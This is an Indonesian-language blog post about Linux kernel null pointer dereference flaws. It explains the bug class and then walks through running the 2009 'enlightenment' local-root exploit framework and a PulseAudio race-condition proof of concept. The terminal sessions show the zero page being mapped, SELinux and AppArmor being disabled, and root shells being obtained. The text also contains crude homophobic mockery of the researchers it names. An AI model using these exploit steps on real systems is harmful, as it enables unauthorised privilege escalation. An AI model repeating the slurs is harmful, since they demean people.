Tuesday, April 15, 2014

Linux Null pointer dereference vulnerability

Null pointer dereference adalah suatu kondisi dimana suatu aplikasi  didalamnya merujuk ke sebuah pointer yang valid,  tetapi nilainya NULL, umumnya bisa berakibat kesalahan proses dan bisa dimanfaatkan untuk menunjuk ke lokasi memori tertentu yang valid. NULL pointer rereference  terjadi bisa disebabkan beberapa hal seperti terdapatnya race condition dan kelalaian programmer. Bahasa pemrograman yang terkena dampak Null pointer dereference vulnerability adalah C, C++, Java, .NET dan platform apapun bisa disentuh oleh kutu ini.Sepanjang tahun 2009 sepertinya Tavis Ormandy dan Julien Tinne berhak mendapatkan gelar top security researcher terbaik tahun ini, dengan secara unik dan tidak disadari oleh kita tentang bahaya null pointer, mereka menemukan sebuah kutu dalam karung atau kutu dan kernel linux semua versi 2.4 atau 2.6 . Emang otak udang tu orang berdua, mereka homo-an sampa lahir anak yang namanya Agus Null Pointer bin Dereference. Banyak sekali jeroan linux yang terdapat kondisi null pointer, contohnya di file “crypto/dsa/dsa_asn1.c” .

1

2

3

4

5

6

7

8

9

10

11

12

13

14
  

71 static int sig_cb(int operation, ASN1_VALUE **pval, const ASN1_ITEM *it)

72  {

73          if(operation == ASN1_OP_NEW_PRE) {

74                  DSA_SIG *sig;

75                  sig = OPENSSL_malloc(sizeof(DSA_SIG));

76                  sig->r = NULL;

77                  sig->s = NULL;

78                  *pval = (ASN1_VALUE *)sig;

79                  if(sig) return 2;

80                  DSAerr(DSA_F_SIG_CB, ERR_R_MALLOC_FAILURE);

81                  return 0;

82          }

83          return 1;

84  }

Di baris 79, mengecek jika sig bernilai null dan kemungkinan memang null, tapi baris 74 sebelumnya mereferensikan sebuah pointer. kalo si Tavis Ormandy mengeluarkan advisories (http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html) pada implementasi socket untuk semua kernel 2.4 dan 2.6. Di setiap socket telah diasosiasikan ke struct operasi yang dinamakan proto_ops yang berisi pointer yang menunjuk implementasi dari berbagai macam fungsi seperti accept, bind, shutdown dan lain-lain.

Null pointer dereference vulnerability bisa menyebabkan local privilege escalation oleh preman-preman. Biasanya kalo preman pasar atau terminal mau melancarkan aksinya pastinya dia ngasah pisaunya ampe kinclong buat nakutin ibu-ibu sampe anak tk biar dikasih akses ke dompetnya, nah kalo preman cyber sebelum melancarkan aksinya dia harus mapping pada address zero yang berisi code untuk dieksekusi (MAPPING ZERO PAGE) yang mengharuskan mempunyai privileges dari kernel, dan melancarkan aksinya. Contoh potongan kode di bawah ini:

1

2

3

4

5

6

7

8

9

10
  

/* ... */

int fdin = mkstemp(template);

int fdout = socket(PF_PPPOX, SOCK_DGRAM, 0);

unlink(template);

ftruncate(fdin, PAGE_SIZE);

sendfile(fdout, fdin, NULL, PAGE_SIZE);

/* ... */

Catatan : fungsi sendfile() salah satu dari banyak operasi dalam socket linux. Sekarang kita coba eksploit racikan 2009-enlightenment.tgz

exploit menjadi sebuah exploit local rooting framework, di dalamnya terdapat tiga opsi untuk memilih exploit seperti Cheddar Bay, The Rebel dengan memanfaatkan udp_sendmsg(), dan Wunderbar Emporium menggunakan sendpage() seperti yang pernah kemarin iseng-iseng gak ada kerjaan di postingan sebelumnya tentang Remote dan Local File Inclusion Vulnerability exploit ini memanfaatkan kelemahan pulseaudio, SElinux pun bisa dihajar dengan exploit ini. Sedikit tentang PulseAudio : adalah sebuah sound server untuk POSIX dan sistem Win32. Berfungsi seperti proxy untuk aplikasi sound sistem. PulseAudion membuat anda melakukan operasi pada data suara pada saat antara aplikasi dan hardware bekerja.

Di beberapa sistem, PulseAudio terinstall dengan SUID root untuk penjadwalan secara real-time. Maka servis atau setan bin daemon melakukan drop root privilige pada saat startup, exploit ini Diuji cobakan Red Hat Enterprise Linux 5.3, CentOS 5.3 dan di bawah ini pada Linux

Ubuntu 9.04 dengan versi kernel 2.6.28-11-generic dan PulseAudio versi 0.9.14.

root@ewa:~$ ls
2009-enlightenment.tgz  cheddar_bay.tgz  Dokumen  Kerangka  Publik
cheddar_bay             Desktop          Gambar   Musik     Video

root@ewa:~$ tar xvf 2009-enlightenment.tgz
enlightenment/
enlightenment/exp_framework.h
enlightenment/exp_cheddarbay.c
enlightenment/pwnkernel.c
enlightenment/exp_therebel.c
enlightenment/run_exploits.sh
enlightenment/exp_wunderbar.c
enlightenment/exploit.c

root@ewa:~$ cd enlightenment/

root@ewa:~/enlightenment$ ls
exp_cheddarbay.c  exploit.c       exp_wunderbar.c  run_exploits.sh
exp_framework.h   exp_therebel.c  pwnkernel.c
root@ewa:~/enlightenment$ ./run_exploits.sh
Compiling exp_cheddarbay.c...
Compiling exp_therebel.c...
Compiling exp_wunderbar.c...
[+] MAPPED ZERO PAGE!
Choose your exploit:
[0] Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root
[1] The Rebel: Linux < 2.6.19 udp_sendmsg() local root
[2] Wunderbar Emporium: Linux 2.X sendpage() local root
[3] Exit
> 2
------------------------------------------------------------------------------
The limits of my language are the limits of my mind.  All I know is what I
have words for. --Wittgenstein
------------------------------------------------------------------------------

[+] Resolved selinux_enforcing to 0xc086b3bc
[+] Resolved selinux_enabled to 0xc086b3b8
[+] Resolved apparmor_enabled to 0xc06a5d84
[+] Resolved apparmor_complain to 0xc086cfb8
[+] Resolved apparmor_audit to 0xc086cfc0
[+] Resolved apparmor_logsyscall to 0xc086cfc4
[+] Resolved security_ops to 0xc0869b60
[+] Resolved default_security_ops to 0xc06a4b40
[+] Resolved sel_read_enforce to 0xc02933d0
[+] Resolved audit_enabled to 0xc0828564
[+] got ring0!
[+] detected 2.6 style 8k stacks, with current at 0xe5eb7110
[+] Disabled security of : LSM
[+] Got root!
# id
uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),125(sambashare),999(ubuntu)
#

dan exploit lainnya seperti pulseaudio-race.tgz. dengan race condition pada pulseaudio berakibat privilege escalation vulnerability. PulseAudio binary bisa menyebabkan local race condition jika binary tersebut terinstall dengan SUID root, dan memungkinkan untuk di eksploitasi dengan konsep pointer null dereference dalam rangka mendapatkan hak akses root. Serangan preman dengan exploit ini harus membuat hard link pada partisi dimana PulseAudio terinstall. Di ujicobakan pada mesin Debian 5.0 dengan PulseAudio versi 0.9.10, dan Mandriva Linux 2009 Spring dengan PulseAudio versi 0.9.15. Proof of concept pulseaudio-race.tgz dibawah ini membuat hard links pada direktori /tmp.

$ ./pa_race
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
I: caps.c: Dropping root privileges.
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
N: main.c: Called SUID root and real-time and/or high-priority
scheduling was requested in the configuration. However, we lack the
necessary privileges:
N: main.c: We are not in group 'pulse-rt', PolicyKit refuse to
grant us the requested privileges and we have no increase
RLIMIT_NICE/RLIMIT_RTPRIO resource limits.
N: main.c: For enabling real-time/high-priority scheduling please
acquire the appropriate PolicyKit privileges, or become a member of
'pulse-rt', or increase the RLIMIT_NICE/RLIMIT_RTPRIO resource
limits for this user.
E: pid.c: Daemon already running.
E: main.c: pa_pid_file_create() failed.
[...]
uid=0(root) gid=0(root) groups=4(adm), 20(dialout), 24(cdrom),
25(floppy), 29(audio), 30(dip), 44(video), 46(plugdev), 107(fuse),
109(lpadmin), 115(admin), 1000(yorick)
#

ah pegel gua ama ni bokong,, udahan ah,,,

No comments:
Write komentar